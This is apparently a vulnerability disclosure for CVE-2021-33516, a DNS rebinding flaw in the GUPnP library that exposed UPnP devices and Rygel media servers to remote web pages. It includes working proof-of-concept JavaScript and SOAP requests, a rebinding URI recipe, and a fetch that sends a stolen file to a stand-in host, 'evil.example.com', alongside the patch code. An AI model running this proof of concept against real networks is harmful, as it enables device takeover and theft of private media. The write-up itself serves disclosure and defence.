DNS rebinding vulnerability in GUPnP
Published:
Updated:
GUPnP, a GNOME library for Universal Plug and Play (UPnP), was vulnerable to DNS rebinding attacks. This is CVE-2021-33516 and GUPnP issue #24. This was fixed in GUPnP 1.0.7 and GUPnP 1.2.5.
Table of content
Summary
The device-part of GUPnP, a library used to implement Universal Plug and Play (UPnP) devicees (servers) and control points (clients) was vulnerable to DNS-rebinding attacks because it did not check the value of the Host
HTTP header. A remote web server can exploit this vulnerability to trick the user browser into triggering actions on the local UPnP services implemented using this library.
For example, this can be used to exfiltrate the content of the media files exposed by the Rygel UPnP AV MediaServer server. The dleyna components (dleyna-renderer and dleyna-server) are probably affected as well.
This was fixed in GUPnP 1.0.7 and 1.2.5.
Affected versions:
- GUPnP 1.0.x before 1.0.7;
- GUPnP 1.1.x;
- GUPnP 1.2.x before 1.2.5.
This is CVE-2021-33516 and GUPnP issue #24.
This was tested on:
- Debian testing;
- libgupnp 1.2.4-1;
- gupnp-tools 0.10.0-2 and Rygel 0.40.1-1.
Example with gupnp-network-light
We demonstrate this using gupnp-network-light. This program simulates a light which can be controlled using UPnP.


It exposes two services:
SwitchPower
which can be used to set its on/off state through theSetTarget
action;Dimming
which can be used to set its dimming value from 0 (minimum) to 100 (maximum) through theSetLoadLevelTarget
action.
This JavaScript code served from another web server can be used to trigger the SetLoadLevelTarget
. This needs to be served using the same port as the targeted gupnp-network-light service.
function sleep(delay)
{
return new Promise((resolve, reject) => {
setTimeout(resolve, delay);
});
}
async function main()
{
while(true) {
const response = await fetch("/Dimming/Control", {
method: "POST",
headers: {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": '"urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"',
},
body: `<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetLoadLevelTarget xmlns:u="urn:schemas-upnp-org:service:Dimming:1">
<newLoadlevelTarget>100</newLoadlevelTarget>
</u:SetLoadLevelTarget>
</s:Body>
</s:Envelope>`
});
if (response.status == 200) {
alert("DONE!")
return;
}
await sleep(1000);
}
}
main()
We need to trick the user browser into browsing to this malicious web server using a URI such as:
http://a.192.0.2.1.3time.192.168.1.42.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:38757/
using whonow, where:
192.0.2.1
is the IP address of the malicious server;192.168.1.42
is the private IP address of thegupnp-network-light
service;3643bba7-1363-43c6-9865-2db92aaeccb3
is a unique value (must be changed for each attempt).
After some time, one of our requests reaches gupnp-network-light. This request is accepted,
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 22:40:18 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: ...
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetLoadLevelTargetResponse xmlns:u="urn:schemas-upnp-org:service:Dimming:1">
</u:SetLoadLevelTargetResponse>
</s:Body>
</s:Envelope>
and we can see the dimming level changing as a result.
In order to conduct this attack, we need to guess the local IP address and port of the service. We could use WebSocket based port scanning in order to try to find opened ports on the local network (or localhost).
Code
The following verifications are done by control_server_handler()
in libgupnp:
if (msg->method != SOUP_METHOD_POST) {
soup_message_set_status (msg, SOUP_STATUS_NOT_IMPLEMENTED);
return;
}
if (msg->request_body->length == 0) {
soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);
return;
}
/* DLNA 7.2.5.6: Always use HTTP 1.1 */
if (soup_message_get_http_version (msg) == SOUP_HTTP_1_0) {
soup_message_set_http_version (msg, SOUP_HTTP_1_1);
soup_message_headers_append (msg->response_headers,
"Connection",
"close");
}
context = gupnp_service_info_get_context (GUPNP_SERVICE_INFO (service));
/* Get action name */
soap_action = soup_message_headers_get_one (msg->request_headers,
"SOAPAction");
if (!soap_action) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
action_name = strchr (soap_action, '#');
if (!action_name) {
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
The code checks that the SOAPAction
HTTP header (required for UPnP SOAP requests): this prevents CSRF attacks on the UPnP SOAP endpoints.
However, the code does not check the Host
HTTP header (or the Origin
HTTP header) and is thus vulnerable to DNS rebinding attacks.
Attacking Rygel
Using the same approach, we can attack Rygel. Rygel is UPnP AV MediaServer intended to be executed as part of the GNOME desktop. It exports UPnP user media files over the the LAN.
By default, it implements the folloing UPnP services:
urn:schemas-upnp-org:service:ContentDirectory:3
;urn:schemas-upnp-org:service:ConnectionManager:2
;urn:microsoft-com:service:X_MS_MediaReceiverRegistrar:1
Rygel is implemented using libgupnp and is thus vulnerable to this DNS rebinding attack. A remote web server can use this vulnerability to exfiltrate all the data (file names, metadata and raw content) exposed by Rygel.
This can be done using the following steps:
- listing the available files using the
ContentDirectory
Browse
action and obtaining their URI; - getting the content of the file (HTTP
GET
); - sending the content of the file to a remote server.
File listing
For listing the files, the attacker can use the Browse
action of the ContentDirectory
service.
We can list of root object with:
POST /Control/MediaExport/RygelContentDirectory HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:3#Browse"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3">
<ObjectID>Filesystem</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>20</RequestedCount>
<SortCriteria></SortCriteria>
</u:Browse>
</s:Body>
</s:Envelope>
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 20:22:16 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 2198
<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3"><Result><DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/"><container parentID="Filesystem" id="d15ec91488580d85a8459fa97de9c311" childCount="1" searchable="1" restricted="1"><dc:title>mediaserver</dc:title><upnp:class>object.container</upnp:class><upnp:containerUpdateID>10</upnp:containerUpdateID><upnp:objectUpdateID>10</upnp:objectUpdateID><upnp:totalDeletedChildCount>0</upnp:totalDeletedChildCount><upnp:searchClass includeDerived="1">object.item.imageItem</upnp:searchClass><upnp:searchClass includeDerived="1">object.item.imageItem.photo</upnp:searchClass><upnp:searchClass includeDerived="1">object.item.videoItem</upnp:searchClass><upnp:searchClass includeDerived="1">object.item.audioItem</upnp:searchClass><upnp:searchClass includeDerived="1">object.item.audioItem.musicTrack</upnp:searchClass><upnp:searchClass includeDerived="1">object.item.playlistItem</upnp:searchClass><upnp:searchClass includeDerived="1">object.container</upnp:searchClass><res protocolInfo="http-get:*:text/xml:DLNA.ORG_PN=DIDL_S;DLNA.ORG_FLAGS=00f00000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/didl_s_playlist.xml</res><res protocolInfo="http-get:*:audio/x-mpegurl:*">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/m3u_playlist.m3u</res></container></DIDL-Lite></Result><NumberReturned>1</NumberReturned><TotalMatches>1</TotalMatches><UpdateID>2</UpdateID></u:BrowseResponse></s:Body></s:Envelope>
The Result
is:
<DIDL-Lite
xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/">
<container parentID="Filesystem" id="d15ec91488580d85a8459fa97de9c311" childCount="1" searchable="1" restricted="1">
<dc:title>mediaserver</dc:title>
<upnp:class>object.container</upnp:class>
<upnp:containerUpdateID>10</upnp:containerUpdateID>
<upnp:objectUpdateID>10</upnp:objectUpdateID>
<upnp:totalDeletedChildCount>0</upnp:totalDeletedChildCount>
<upnp:searchClass includeDerived="1">object.item.imageItem</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.item.imageItem.photo</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.item.videoItem</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.item.audioItem</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.item.audioItem.musicTrack</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.item.playlistItem</upnp:searchClass>
<upnp:searchClass includeDerived="1">object.container</upnp:searchClass>
<res protocolInfo="http-get:*:text/xml:DLNA.ORG_PN=DIDL_S;DLNA.ORG_FLAGS=00f00000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/didl_s_playlist.xml</res><res protocolInfo="http-get:*:audio/x-mpegurl:*">http://127.0.0.1:46639/MediaExport/i/ZDE1ZWM5MTQ4ODU4MGQ4NWE4NDU5ZmE5N2RlOWMzMTE%3D/res/m3u_playlist.m3u</res>
</container>
</DIDL-Lite>
We can list the content of the "mediaserver" entry with:
POST /Control/MediaExport/RygelContentDirectory HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:schemas-upnp-org:service:ContentDirectory:3#Browse"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3">
<ObjectID>d15ec91488580d85a8459fa97de9c311</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>20</RequestedCount>
<SortCriteria></SortCriteria>
</u:Browse>
</s:Body>
</s:Envelope>
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 20:43:41 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: ...
<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:BrowseResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:3"><Result><DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/"><item id="20ec26aa3539288682d834cc082b1cf8" parentID="d15ec91488580d85a8459fa97de9c311" restricted="0" dlna:dlnaManaged="00000010"><dc:title>Example</dc:title><upnp:class>object.item.audioItem.musicTrack</upnp:class><dc:date>2000-01-01</dc:date><upnp:objectUpdateID>6</upnp:objectUpdateID><upnp:artist>Super Artist</upnp:artist><upnp:genre>Game</upnp:genre><res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3</res><res duration="0:01:42.000" bitrate="176400" bitsPerSample="16" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/L16;rate=44100;channels=2:DLNA.ORG_PN=LPCM;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/LPCM.lpcm</res><res duration="0:01:42.000" sampleFrequency="256" protocolInfo="http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_320;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/AAC_ADTS_320.adts</res><res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="internal:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_FLAGS=01600000000000000000000000000000">file:///home/johndoe/temp/mediaserver/example.mp3</res><upnp:album>Example Album</upnp:album></item></DIDL-Lite></Result><NumberReturned>1</NumberReturned><TotalMatches>1</TotalMatches><UpdateID>10</UpdateID></u:BrowseResponse></s:Body></s:Envelope>
The Result
is:
<DIDL-Lite xmlns="urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/" xmlns:dlna="urn:schemas-dlna-org:metadata-1-0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:upnp="urn:schemas-upnp-org:metadata-1-0/upnp/">
<item id="20ec26aa3539288682d834cc082b1cf8" parentID="d15ec91488580d85a8459fa97de9c311" restricted="0" dlna:dlnaManaged="00000010">
<dc:title>Example</dc:title>
<upnp:class>object.item.audioItem.musicTrack</upnp:class>
<dc:date>2000-01-01</dc:date>
<upnp:objectUpdateID>6</upnp:objectUpdateID>
<upnp:artist>Super Artist</upnp:artist>
<upnp:genre>Game</upnp:genre>
<res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_OP=01;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3</res>
<res duration="0:01:42.000" bitrate="176400" bitsPerSample="16" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="http-get:*:audio/L16;rate=44100;channels=2:DLNA.ORG_PN=LPCM;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/LPCM.lpcm</res>
<res duration="0:01:42.000" sampleFrequency="256" protocolInfo="http-get:*:audio/vnd.dlna.adts:DLNA.ORG_PN=AAC_ADTS_320;DLNA.ORG_OP=10;DLNA.ORG_CI=1;DLNA.ORG_FLAGS=01700000000000000000000000000000">http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/AAC_ADTS_320.adts</res>
<res size="1410775" duration="0:01:42.000" nrAudioChannels="2" sampleFrequency="44100" protocolInfo="internal:*:audio/mpeg:DLNA.ORG_PN=MP3;DLNA.ORG_FLAGS=01600000000000000000000000000000">file:///home/johndoe/temp/mediaserver/example.mp3</res>
<upnp:album>Example Album</upnp:album>
</item>
</DIDL-Lite>
This gives us a list of files with URI to access to their content. For example:
http://127.0.0.1:46639/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3
Exfiltrating some file
The attacker can now make the browser download the content a file with:
const response = await fetch("/MediaExport/i/MjBlYzI2YWEzNTM5Mjg4NjgyZDgzNGNjMDgyYjFjZjg%3D/res/primary_http.mp3");
const blob = await response.blob();
It can then exfiltrate it to another web server.
fetch("http://evil.example.com/exfitlration", {
method: "POST",
mode: 'cors',
body: blob,
headers: {
"Content-Type": response.headers.get("Content-Type"),
}
});
Resolution
This can be fixed by checking that the Host
HTTP header contains a literal IP address.
Fix
This was fixed by adding this control in control_server_handler()
:
const char *host_header =
soup_message_headers_get_one (msg->request_headers, "Host");
if (!gupnp_context_validate_host_header (context, host_header)) {
g_warning ("Host header mismatch, expected %s:%d, got %s",
gssdp_client_get_host_ip (GSSDP_CLIENT (context)),
gupnp_context_get_port (context),
host_header);
soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
return;
}
Where gupnp_context_validate_host_header()
is:
gboolean
gupnp_context_validate_host_header (GUPnPContext *context,
const char *host_header)
{
gboolean retval = FALSE;
// Be lazy and let GUri do the heavy lifting here, such as stripping the
// [] from v6 addresses, splitting of the port etc.
char *uri_from_host = g_strconcat ("http://", host_header, NULL);
char *host = NULL;
int port = 0;
GError *error = NULL;
g_uri_split_network (uri_from_host,
G_URI_FLAGS_NONE,
NULL,
&host,
&port,
&error);
if (error != NULL) {
g_debug ("Failed to parse HOST header from request: %s",
error->message);
goto out;
}
const char *host_ip = gssdp_client_get_host_ip (GSSDP_CLIENT (context));
gint context_port = gupnp_context_get_port (context);
if (!g_str_equal (host, host_ip)) {
g_debug ("Mismatch between host header and host IP (%s, "
"expected: %s)",
host,
host_ip);
}
if (port != context_port) {
g_debug ("Mismatch between host header and host port (%d, "
"expected %d)",
port,
context_port);
}
retval = g_str_equal (host, host_ip) && port == context_port;
out:
g_clear_error (&error);
g_free (uri_from_host);
return retval;
}
Things not fixed yet
This fix only checks the Host
header for the control (SOAP) endpoints. The other endpoints are not protected against DNS rebinding attacks.
In particular, the eventing endpoints (GENA SUBSCRIBE
method) are not protected and are technically still vulnerable to DNS rebinding attacks. The impact of DNS rebinding atatcks on these endpoints is probably quite limited: the library already has some protection against CVE-2020-12695 (CallStranger) and it should thus not be possible to easily exploit this to exfiltrate UPnP events to remote servers.
Update 2021-07-05: Host
validation in subscription/GENA endpoints was added in GUPnP 1.3.0.
In the case of Rygel the resource endpoints are still vulnerable to DNS rebinding attacks but in order to be exploitable, the attacker need to guess their URI. It would be interesting to check whether this is feasible.
Timeline
- 2021-04-06, initial report
- 2021-04-07, added informations about the impact on Rygel
- 2021-05-24, fix in GUPnP 1.2.5
- 2021-05-24, disclosure
- 2021-05-24, CVE-2021-33516 assigned